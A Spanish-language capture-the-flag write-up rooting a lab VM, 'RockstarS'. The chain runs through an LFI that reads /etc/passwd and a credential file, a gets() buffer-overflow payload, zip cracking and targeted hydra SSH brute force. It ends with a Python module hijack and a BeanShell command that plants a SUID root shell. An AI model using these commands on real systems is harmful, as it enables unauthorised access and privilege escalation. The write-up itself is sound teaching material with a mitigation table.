RockstarS
Esta máquina en particular tuvo dos callejones sin salida instructivos, documentados tal como ocurrieron.
Máquina: The Hackers Labs — RockstarS
SO: Debian 12 (bookworm), kernel 6.1 Vector de
entrada: LFI por lectura arbitraria de archivo
($_POST["backdoor"] sin validar en index.php)
→ credenciales filtradas → SSH Escalada de privilegios:
cadena de 3 saltos — (1) buffer overflow con gets() vía
sudo (shark→wvverez), (2) secuestro de módulo Python vía
sys.path (loseey→username3), (3) BeanShell vía
sudo estilo GTFOBins (username3→root) Herramientas
principales: arp-scan/nmap/whatweb/gobuster (recon), ffuf
(fuzzing de parámetros), curl (explotación manual del LFI),
checksec/objdump (análisis del binario bof), python3
(construcción de payloads), sshpass/ssh (incluido -tt para
pty real), zip2john+john (cracking del zip), hydra (fuerza bruta
dirigida), pandoc+weasyprint (PDF).
qemu-nbd+mount se usó una vez, aparte, solo
para diagnóstico de disco — ver Fase 2.3.
Resumen de flags
| Flag | Valor | Obtenida en |
|---|---|---|
user.txt |
████████████ |
sudo -u username3 python3 rubiales.py con módulo
psutil secuestrado (Fase 6) |
root.txt |
████████████ |
sudo -u root /usr/bin/bsh → BeanShell
Runtime.exec() (Fase 7) |
Glosario rápido
- LFI (Local File Inclusion): aquí, en su variante
más directa — el código lee cualquier archivo cuya ruta le demos, sin
restricción alguna (ni siquiera hace falta
../). gets(): función de C que lee una línea de texto sin límite de tamaño — eliminada del estándar del lenguaje en 2011 por ser intrínsecamente insegura.- Stack canary / NX / PIE / RELRO: protecciones de compilador contra buffer overflows — ver explicación detallada en la Fase 4.1.
sys.path/ secuestro de módulo: la lista de carpetas donde Python busca módulos al hacerimport; la carpeta del script que se está ejecutando va primero — si es escribible por un atacante, puede “reemplazar” cualquier librería.- GTFOBins: catálogo público (gtfobins.github.io) de
binarios “normales” (intérpretes, editores, utilidades Unix) que se
pueden abusar para escapar de restricciones o escalar privilegios cuando
se ejecutan con privilegios elevados (
sudo, SUID, etc.). qemu-nbd: herramienta que expone un archivo de disco virtual como un dispositivo de bloque de red (NBD), permitiendo montarlo con el comandomountnormal del sistema.- pty (pseudo-terminal): una terminal “simulada” que
el sistema operativo trata como si fuera una terminal física real —
necesaria para que ciertos programas (como una shell interactiva lanzada
por
system()) se comporten correctamente cuando no hay un usuario físico tecleando.
Herramientas necesarias
arp-scan/nmap/whatweb/gobuster: reconocimiento estándar (ver Banco para la explicación de cada una).ffuf: fuzzer HTTP rápido (escrito en Go); se usó para probar miles de nombres de parámetro contraindex.phpde forma sistemática, filtrando por tamaño de respuesta.curl: para reproducir por red, a mano, la explotación del LFI (-X POST -d "backdoor=...").checksec: analiza un binario y reporta qué protecciones de compilador tiene activas (canario, NX, PIE, RELRO).objdump: desensamblador — convierte el código máquina del binario a instrucciones legibles (ensamblador) para poder leer la lógica del programa.python3: para construir los payloads binarios exactos del buffer overflow (bytes de relleno + valor mágico en little-endian) y como intérprete objetivo del secuestro de módulo.sshpass+ssh -tt: acceso SSH automatizado; el flag-ttfuerza una terminal (pty) real, imprescindible para que la shell lanzada por el exploit delboffuncione con inputs posteriores.zip2john+john: extraer el “hash” de un zip protegido con contraseña y atacarlo por diccionario.hydra: fuerza bruta de credenciales contra SSH, acotada a una lista corta y dirigida de usuarios/contraseñas (no un ataque genérico).qemu-nbd+mount: usadas una única vez, para diagnóstico de disco cuando la caja negra se agotó (Fase 2.3) — no forman parte de la cadena de ataque reproducible por red.pandoc+weasyprint: generación del PDF gemelo de este writeup.
No hicieron falta ni Penelope ni Raptor en esta máquina tampoco — mismo aprendizaje que en Banco.
Fase 0 — Preparación del laboratorio
Se descargó el .ova oficial de TheHackersLabs
(comprimido en un .zip) y se dejó en la carpeta del
proyecto.
# Descomprimir el ova
unzip "The Hackers Labs - RockstarS - iaegbfoasbe.zip"
# Inspeccionar la appliance antes de importar (no cambia nada, solo muestra qué se va a crear)
VBoxManage import "The Hackers Labs - RockstarS.ova" --dry-run--dry-run muestra qué se importaría sin crear nada
todavía: 1 CPU, 2048 MB RAM, disco de 20 GB, SO sugerido Debian_64. A
diferencia de Banco (que traía la red en NAT), esta máquina traía la
tarjeta de red en modo Bridged por defecto
(Network adapter: orig Bridged) — modo que conecta la VM
directamente a la red física del host, como si fuera otro equipo más en
la LAN. Para un laboratorio de práctica no interesa exponer la VM así,
así que se importa igual y luego se fuerza a
host-only:
# Importar de verdad
VBoxManage import "The Hackers Labs - RockstarS.ova"
# Forzar red host-only (aislada, solo entre el host y sus VMs) en vez del Bridged por defecto
VBoxManage modifyvm "The Hackers Labs - RockstarS" --nic1 hostonly --hostonlyadapter1 vboxnet0vboxnet0 es el adaptador host-only ya existente en este
equipo (rango 192.168.56.0/24, host en
192.168.56.1) — el mismo usado en el resto de máquinas del
laboratorio.
Se enciende en modo headless (sin ventana gráfica):
VBoxManage startvm "The Hackers Labs - RockstarS" --type headlessPara reproducir desde cero, con la VM apagada:
VBoxManage controlvm "The Hackers Labs - RockstarS" poweroff
VBoxManage startvm "The Hackers Labs - RockstarS" --type headlessFase 1 — Reconocimiento de red
Igual que en máquinas anteriores del laboratorio, se descubre la IP
con arp-scan (manda peticiones ARP a toda la subred
192.168.56.0/24 y anota quién responde) y se identifica por
el MAC de la VM:
sudo arp-scan --interface=vboxnet0 --localnet
VBoxManage showvminfo "The Hackers Labs - RockstarS" --machinereadable | grep macaddress1Coincide el MAC 08:00:27:b6:a4:4f con
192.168.56.104. Escaneo completo de puertos:
nmap -sC -sV -p- --min-rate 2000 192.168.56.104PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
Mismos dos puertos que Banco (22 y 80), pero sin título de página
(whatweb confirma Apache 2.4.62 sin más pistas). Nota
curiosa: la SSH host-key (huella criptográfica única del servidor SSH,
se genera al instalar el sistema) es idéntica a la de
Banco — indica que ambas VMs se clonaron de la misma plantilla base sin
regenerarla (ssh-keygen -A). No es explotable directamente,
pero es una mala práctica real: si alguien filtra la clave privada SSH
de una máquina clonada así, compromete a todas las que comparten
plantilla.
Fase 2 — Enumeración web (y un callejón sin salida real)
Esta sección se documenta completa, incluyendo el tiempo perdido, porque el porqué de cada intento fallido enseña tanto como el hallazgo final.
2.1 — Primer vistazo
whatweb http://192.168.56.104
gobuster dir -u http://192.168.56.104 -w /usr/share/wordlists/dirb/common.txtSolo aparecen javascript/ (carpeta con jQuery, sin nada
más útil) y dos archivos PHP: index.html (200 OK, pero
0 bytes — vacío) e
index.php, que responde 500
Internal Server Error con un cuerpo fijo de 19 bytes:
Yo no soy tu marido
También aparece db.php (200, 0 bytes de salida).
2.2 — Intentando entender el 500 (aquí es donde se pierde tiempo)
Un 500 con un mensaje fijo suele significar una de dos
cosas: (a) una página de error genérica de Apache/PHP para
cualquier fallo, o (b) lógica de la app que decide mostrar ese
mensaje bajo cierta condición. Para descartar (b), se prueba
sistemáticamente:
Parámetros GET comunes a mano (
id,user,file,cmd,debug…) — sin cambios.Fuzzing de 6.453 nombres de parámetro GET contra
index.phpconffuf(burp-parameter-names.txtde SecLists), filtrando por tamaño de respuesta distinto a 19 bytes:ffuf -u "http://192.168.56.104/index.php?FUZZ=1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 190 de 6.453 cambiaron la respuesta.
Distintos métodos HTTP (POST, PUT, DELETE, OPTIONS), cuerpos JSON, cabeceras
Hostdistintas (vhosts),X-Forwarded-For, cookies de sesión inventadas, trucos clásicos de disclosure de código fuente (index.php.,index.phps,index.php%00, etc.) — nada cambió la respuesta, siempre exactos 19 bytes.Fuerza bruta de rutas y archivos con diccionarios más grandes de SecLists (
raft-medium-directories,raft-small-files) — no aparece nada nuevo aparte de lo ya visto.
Que ni un solo experimento cambiara la respuesta es en sí mismo un dato importante: normalmente algo cambia (aunque sea el tamaño del error). Esto apunta a que el fallo ocurre antes de que el código llegue a mirar cualquier input nuestro — es decir, probablemente el propio script está fallando de una forma fija, no una validación condicional.
2.3 — Diagnóstico directo del disco (aclaración importante)
Con la caja negra agotada, y dado que esta VM corre en nuestro propio laboratorio (no es un objetivo remoto ajeno), se apagó la VM y se montó su disco virtual en modo solo-lectura desde el host, para leer el código fuente real y entender el fallo — esto es diagnóstico de administrador del laboratorio, no parte de la cadena de ataque; se documenta aparte para que quede claro qué se hizo por caja negra (lo reproducible por un atacante remoto) y qué se hizo mirando el disco (solo para entender el bug antes de explotarlo por red):
VBoxManage controlvm "The Hackers Labs - RockstarS" poweroff
modprobe nbd max_part=8
qemu-nbd --read-only -c /dev/nbd0 "/root/VirtualBox VMs/The Hackers Labs - RockstarS/The Hackers Labs - RockstarS-disk001.vmdk"
mount -o ro,norecovery /dev/nbd0p1 /mnt/rockstar-ro
cat /mnt/rockstar-ro/var/www/html/index.phpqemu-nbd expone un archivo de disco virtual
(.vmdk) como si fuera un disco de red (protocolo NBD —
Network Block Device), permitiendo montarlo con el comando normal
mount sin necesidad de que la VM esté encendida.
norecovery evita que el kernel intente “reparar” el journal
del sistema de archivos ext4 al montarlo solo-lectura (evita tocar el
disco).
El código real de index.php:
<?php
echo 'Yo no soy tu marido';
$backdoor = $_POST["backdoor"];
echo file_get_contents($backdoor);
?>Ahí está la explicación completa: el
echo 'Yo no soy tu marido' es la PRIMERA línea que se
ejecuta y con éxito — por eso ese texto exacto aparece SIEMPRE, sea cual
sea el input. Luego, $_POST["backdoor"] — si no se manda
ese parámetro por POST (nosotros solo probamos por GET,
que va a $_GET, no a $_POST), su valor es
null; pasarle null a
file_get_contents() en PHP 8 lanza un
TypeError no capturado → el script muere ahí → Apache
devuelve 500 → como display_errors está apagado (buena
práctica de producción, aquí usada sin querer como ofuscación), no se ve
el error real, solo lo que ya se había impreso: los 19 bytes de siempre.
El parámetro vulnerable existe, se llama literalmente
backdoor, y solo funciona por POST — por
eso nuestro fuzzing (GET, 6.453 intentos) jamás lo iba a encontrar.
Se desmonta todo y se vuelve a encender la VM:
umount /mnt/rockstar-ro
qemu-nbd -d /dev/nbd0
VBoxManage startvm "The Hackers Labs - RockstarS" --type headlessFase 3 — Explotación del LFI (por red, confirmando lo visto en el disco)
Con el nombre real del parámetro, se confirma por red, como lo haría cualquier atacante sin acceso al disco:
curl -s -X POST -d "backdoor=/etc/passwd" http://192.168.56.104/index.phpDevuelve Yo no soy tu marido pegado directamente al
contenido de /etc/passwd — es un LFI (Local File
Inclusion) por lectura arbitraria de archivos
(file_get_contents() sin ninguna restricción de ruta). A
diferencia de Banco (que necesitaba ../ para escapar de una
carpeta), aquí no hay ninguna restricción de directorio: se puede pedir
cualquier ruta absoluta directamente.
Del /etc/passwd se identifican 4 usuarios
reales (con /bin/bash como shell, a diferencia de
las cuentas de sistema que usan /nologin):
shark, wvverez, loseey,
username3.
Con el mismo LFI se lee db.php:
curl -s -X POST -d "backdoor=/var/www/html/db.php" http://192.168.56.104/index.php<?php
$usuario = "shark";
$contrasena = "djbasdnbasdas&\$AAAALLthl";
?>Credenciales para shark. Se prueban por SSH:
sshpass -p 'djbasdnbasdas&$AAAALLthl' ssh [email protected]Login correcto. id muestra que shark
pertenece también al grupo secundario wvverez — pista de
que el siguiente salto probablemente involucra a ese usuario.
Fase 4 — Escalada shark → wvverez (buffer overflow con protecciones)
En el home de shark hay un binario bof (7,3
KB), y sudo -l revela:
User shark may run the following commands on TheHackersLabs-RockstarS:
(wvverez) NOPASSWD: /home/shark/bof
shark puede ejecutar ese binario como
wvverez, sin contraseña. El nombre del binario
(“bof” = buffer overflow) y esta regla de sudo son la
invitación clara: hay que explotarlo para obtener una shell como
wvverez.
4.1 — Análisis del binario
checksec --file=/home/shark/bofRELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled PIE enabled
Glosario exprés de estas protecciones (todas mitigaciones estándar de compiladores modernos contra buffer overflows): - Stack canary: un valor aleatorio que el programa coloca junto a las variables locales al entrar a una función, y que revisa justo antes de salir; si un desbordamiento de buffer lo modificó, el programa aborta en vez de continuar con la memoria corrompida. - NX (No-eXecute): marca la pila como “no ejecutable” — no se puede simplemente inyectar código máquina (shellcode) en el buffer desbordado y saltar ahí. - PIE (Position Independent Executable): el propio binario se carga en una dirección de memoria aleatoria distinta cada vez (como ASLR, pero para el ejecutable en sí, no solo las librerías) — dificulta calcular direcciones fijas para el exploit. - RELRO: protege la tabla GOT (usada para resolver funciones importadas) de sobrescritura. “Partial” significa que esta protección es parcial, no total.
Con canary + NX + PIE activos, un smash clásico
(sobrescribir la dirección de retorno con shellcode) es bastante más
difícil. Desensamblado con
objdump -d bof -M intel --disassemble=func:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, gs:0x14 ; lee el canario
mov [ebp-0xc], eax ; lo guarda en la pila
...
call puts ; imprime "overflow me : "
lea eax, [ebp-0x2c] ; eax = dirección del buffer local
call gets ; gets(buf) <-- SIN LÍMITE DE TAMAÑO, aquí está el bug
cmp DWORD PTR [ebp+0x8], 0xcafebabe ; compara el ARGUMENTO de func con un valor mágico
jne <rama "Nah..">
mov [esp], 0x79b ; dirección de la cadena "/bin/sh"
call system ; system("/bin/sh") <-- si el argumento coincide, ¡shell!
jmp <verificación de canario>
<rama "Nah..">:
call puts ; imprime "Nah.."
<verificación de canario>:
mov eax, [ebp-0xc]
xor eax, gs:0x14 ; compara el canario guardado contra el real
je <salir normal>
call __stack_chk_fail ; si no coincide, ABORTgets() lee del teclado/entrada estándar
sin límite de tamaño — es la función insegura por
excelencia en C (fue literalmente eliminada del estándar del lenguaje en
C11 por esto). Escribe en un buffer de 32 bytes (ebp-0x2c
hasta ebp-0xc, donde empieza el canario) sin comprobar
nada, así que cualquier entrada más larga sigue escribiendo por encima
del canario, del ebp guardado, de la dirección de retorno…
y del argumento de la propia función
([ebp+0x8]), que está más arriba en memoria.
El detalle clave: la comparación
cmp [ebp+0x8], 0xcafebabe y el
call system("/bin/sh") ocurren antes de
que se verifique el canario (la verificación es lo último, justo antes
de leave; ret). Esto significa que no hace falta
vencer el canario en absoluto: basta con desbordar el buffer lo
suficiente para que el argumento de func (que
main siempre pasa como la constante fija
0xdeadbeef) termine sobrescrito con 0xcafebabe
— el programa llamará a system("/bin/sh") de todas formas,
aunque el canario quede corrupto y el proceso aborte después
(ya no importa, el shell ya se lanzó).
4.2 — Cálculo del offset y exploit
Distancia desde el inicio del buffer (ebp-0x2c) hasta el
argumento (ebp+0x8):
0x2c + 0x8 = 0x34 = 52 bytes. Payload: 52 bytes de relleno
+ 4 bytes con 0xcafebabe en little-endian
(\xbe\xba\xfe\xca, el byte menos significativo primero,
como todos los x86):
payload = b"A"*52 + b"\xbe\xba\xfe\xca" + b"\n"Primer intento fallido: se mandó el payload seguido
de comandos (id; whoami; ...) por un simple pipe
(python3 -c "..." | ssh ... sudo -u wvverez /home/shark/bof).
Funcionó a medias — el system("/bin/sh") sí se disparaba
(no aparecía ni el mensaje “Nah..” ni ningún otro), pero los comandos
posteriores no se ejecutaban. La causa:
gets() usa buffering interno de la librería C — al leer la
primera línea, en la práctica vacía toda la tubería
(pipe) hacia su propio buffer interno de memoria del proceso. Cuando
system() crea un proceso hijo nuevo
(fork+exec) para correr /bin/sh,
ese hijo no hereda la memoria interna de la librería C del
padre (solo hereda el descriptor de archivo, que a nivel de
tubería ya estaba vacío) — así que el shell nuevo recibía EOF inmediato
sin ver nuestros comandos.
Solución: forzar una terminal (pty) real en la
sesión SSH con ssh -tt. Un pty en modo canónico entrega los
datos línea por línea a nivel de kernel (no de buffer
de biblioteca), así que la línea del exploit y las líneas de comandos
posteriores quedan disponibles para quien las lea, sea el proceso
original o el hijo nuevo:
python3 -c "
import sys
payload = b'A'*52 + b'\xbe\xba\xfe\xca' + b'\n'
payload += b'id; whoami; hostname\n'
payload += b'exit\n'
sys.stdout.buffer.write(payload)
" | sshpass -p 'djbasdnbasdas&$AAAALLthl' ssh -tt [email protected] 'sudo -u wvverez /home/shark/bof'Resultado:
overflow me :
$ uid=1002(wvverez) gid=1002(wvverez) grupos=1002(wvverez),100(users)
wvverez
TheHackersLabs-RockstarS
$ *** stack smashing detected ***: terminated
Shell como wvverez confirmada — y, como se predijo, el
proceso original aborta después por el canario corrupto, sin
que afecte al resultado.
Pero no hay user.txt en el home de
wvverez (solo rubiales.zip, un
archivo cifrado). Toca seguir buscando.
Fase 5 — Escalada wvverez/shark → loseey (contraseñas filtradas + fuerza bruta dirigida)
rubiales.zip (en /home/wvverez/, pero
legible por cualquiera — permisos -rw-r--r--) contiene
passwords.txt, protegido con contraseña de zip:
zip2john rubiales.zip > rubiales.hash
john --wordlist=/usr/share/wordlists/rockyou.txt rubiales.hashzip2john convierte la protección del zip a un formato
que john (The Ripper) puede atacar por diccionario.
Contraseña encontrada en segundos:
princess (está en rockyou.txt, la wordlist
de contraseñas filtradas más famosa, con 14 millones de entradas
reales).
unzip -P princess rubiales.zipDa 13 contraseñas con pinta de generadas al azar (igual que los
señuelos de Banco) — un diccionario dirigido, no
genérico. Se prueba contra los 4 usuarios reales con
hydra:
hydra -L userlist.txt -P passwords.txt ssh://192.168.56.104hydra es una herramienta de fuerza bruta de credenciales
contra muchos protocolos (SSH, HTTP, FTP…); aquí se le da una lista
corta de 4 usuarios × 13 contraseñas (52 combinaciones, nada parecido a
una fuerza bruta genérica contra rockyou completo) porque ya se acotó
mucho el universo de posibilidades gracias a los hallazgos anteriores.
Resultado:
login: loseey password: kmdalskdmasdnmaskj126
Fase 6 — Escalada loseey → username3 (secuestro de módulo Python vía sudo)
Login como loseey por SSH. En su home hay
rubiales.py (propiedad de username3, pero
legible):
import psutil
def print_virtual_memory():
vm = psutil.virtual_memory()
print(f"Total: {vm.total} Available: {vm.available}")
if __name__ == "__main__":
print_virtual_memory()Y sudo -l revela:
User loseey may run the following commands on TheHackersLabs-RockstarS:
(username3) NOPASSWD: /usr/bin/python3 /home/loseey/rubiales.py
El bug: cuando Python ejecuta un script, añade
automáticamente la carpeta que contiene ese script al
principio de su ruta de búsqueda de módulos (sys.path) —
antes que las librerías instaladas del sistema. Como el script vive en
/home/loseey/ (nuestra propia carpeta, con permiso de
escritura), podemos crear ahí un archivo psutil.py que
Python cargará en lugar de la librería real
psutil — sea cual sea el código que pongamos dentro, se
ejecuta con los privilegios de quien corra el script
(username3, vía sudo).
# /home/loseey/psutil.py — módulo falso
import os
payload = 'Runtime.getRuntime().exec(...).waitFor();\nexit();\n'
with open('/tmp/bsh_payload.txt','w') as f:
f.write(payload)
os.system('sudo -u root /usr/bin/bsh < /tmp/bsh_payload.txt > /tmp/bsh_out.txt 2>&1')(la parte de BeanShell se explica en la fase siguiente; aquí basta
con quedarse con la idea: el os.system(...) corre como
username3 en cuanto se ejecuta
sudo -u username3 python3 rubiales.py)
sudo -u username3 /usr/bin/python3 /home/loseey/rubiales.pyEl script original termina en error (AttributeError,
porque nuestro psutil.py falso no tiene la función
virtual_memory de verdad) — pero no
importa: nuestro código ya corrió antes de que fallara. Con
esto se confirma id → uid=1003(username3), y
aparece por fin:
cat /home/username3/user.txt████████████
Y algo más importante para el siguiente salto: username3
pertenece al grupo lxd (un vector de
escape a root por sí solo, vía contenedores LXD — no se usó aquí porque
apareció un camino más directo) y tiene en su sudo -l:
User username3 may run the following commands on TheHackersLabs-RockstarS:
(root) NOPASSWD: /usr/bin/bsh
Fase 7 — Escalada username3 → root (BeanShell)
/usr/bin/bsh resulta ser un script que lanza
BeanShell (bsh.jar), un intérprete de
código Java interactivo:
exec /usr/bin/java jline.ConsoleRunner bsh.Interpreter "$@"Cualquier intérprete de un lenguaje de programación completo (Python,
Perl, BeanShell, Lua, find, vim…) que se pueda
ejecutar vía sudo es, en la práctica, una forma de ejecutar
comandos del sistema con los privilegios de sudo — el catálogo GTFOBins documenta cientos de
binarios así. Con BeanShell, basta con usar la clase
Runtime de Java para lanzar procesos del sistema
operativo:
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","cp /bin/bash /tmp/rootshell; chmod 4777 /tmp/rootshell"}).waitFor();Ejecutado como root (vía la regla NOPASSWD de
username3), esto copia bash a
/tmp/rootshell y le pone el bit SUID — dando una shell con
privilegios de root a demanda. Verificación:
/tmp/rootshell -p -c 'id; cat /root/root.txt'uid=0(root) gid=0(root) grupos=0(root)
████████████
ROOT.
Limpieza
rm -f /tmp/rootbash_u3 /tmp/rootshell /tmp/u3_id.txt /tmp/bsh_payload.txt /tmp/bsh_out.txt /tmp/bsh_id.txt
rm -f /home/loseey/psutil.py /tmp/step2.pyTodo lo creado durante la explotación (shells SUID, módulo Python
falso, archivos temporales) se borra. Queda
/tmp/hsperfdata_root (carpeta que crea automáticamente
cualquier JVM al arrancar como root, para datos de rendimiento) sin
poder borrarla como usuario normal — es un artefacto estándar de Java,
no algo que hayamos introducido nosotros, y no representa ningún riesgo
dejarlo (se limpia solo en el próximo reinicio).
Fase 8 — Cadena de ataque (resumen)
[Kali/atacante]
│ arp-scan + nmap -sC -sV -p-
▼
192.168.56.104 — Apache 2.4.62 + OpenSSH 9.2p1 (Debian 12)
│
│ index.php siempre da 500 "Yo no soy tu marido" — fuzzing GET
│ exhaustivo (6.453 params) no encuentra nada
│ → diagnóstico de disco (montaje NBD) revela: $_POST["backdoor"]
│ pasado sin validar a file_get_contents()
▼
POST backdoor=/etc/passwd , backdoor=/var/www/html/db.php (LFI)
│ filtra usuarios reales + credenciales de "shark"
▼
SSH shark → sudo -u wvverez /home/shark/bof
│ buffer overflow con gets(): 52 bytes de relleno + 0xcafebabe
│ sobrescribe el ARGUMENTO de func() → dispara system("/bin/sh")
│ (el canario nunca se llega a comprobar a tiempo)
▼
shell como wvverez (rubiales.zip: cracking con john+rockyou → "princess")
│ passwords.txt (13 contraseñas) + hydra dirigido a 4 usuarios
▼
SSH loseey → sudo -u username3 python3 rubiales.py
│ secuestro de módulo (psutil.py falso en sys.path[0])
▼
username3 → user.txt → sudo -u root /usr/bin/bsh
│ BeanShell: Runtime.getRuntime().exec() (estilo GTFOBins)
▼
ROOT → root.txt
Causas raíz y mitigación
| # | Causa raíz | Dónde | Mitigación |
|---|---|---|---|
| 1 | Lectura de archivo arbitraria a partir de un parámetro de usuario sin ninguna validación | index.php
(file_get_contents($_POST["backdoor"])) |
Nunca pasar entrada de usuario directamente a funciones de lectura de archivos/URLs. Lista blanca estricta o, mejor, no exponer esa funcionalidad en absoluto. |
| 2 | Credenciales en texto plano en un archivo PHP dentro del webroot, alcanzable por LFI | db.php |
Igual que en Banco: nunca credenciales en texto plano ni dentro de una carpeta servible por el servidor web. |
| 3 | Función gets() (sin límite de tamaño) usada para leer
entrada de usuario |
bof.c / binario bof |
Usar siempre funciones con límite explícito (fgets,
read con tamaño fijo). gets() fue eliminada
del estándar C en 2011 precisamente por esto. |
| 4 | Orden de ejecución que permite alcanzar una llamada peligrosa
(system()) antes de que se verifique la protección
(canario) |
binario bof |
El diseño correcto valida/verifica antes de actuar, nunca
después. Aunque aquí el “bug” es intencional para la práctica, en código
real cualquier system()/exec() alcanzable tras
una escritura no acotada es una puerta trasera de facto. |
| 5 | Archivo cifrado con contraseña débil, presente en un diccionario de 14 millones de contraseñas filtradas | rubiales.zip (“princess”) |
Nunca usar contraseñas de diccionario, ni siquiera para cifrado “temporal” de archivos. |
| 6 | El intérprete de un script añade la carpeta del propio script a la
ruta de búsqueda de módulos, y esa carpeta es escribible por quien
invoca el script vía sudo |
regla sudo de loseey sobre
rubiales.py |
Nunca dar permiso de sudo para ejecutar un script que
viva en una carpeta escribible por el usuario que recibe el permiso.
Usar rutas absolutas de solo-lectura para el intérprete y el script, y
fijar PYTHONPATH/PYTHONSAFEPATH
explícitamente. |
| 7 | Permiso de sudo sin restricciones sobre un intérprete
de lenguaje completo (BeanShell) |
regla sudo de username3 sobre
/usr/bin/bsh |
Nunca dar sudo sobre un intérprete genérico (shell,
Python, Perl, BeanShell, find, editores…) — consultar
siempre GTFOBins antes de autorizar un binario vía sudoers. |
«Los que viven son los que luchan.»
— Victor Hugo, Los castigos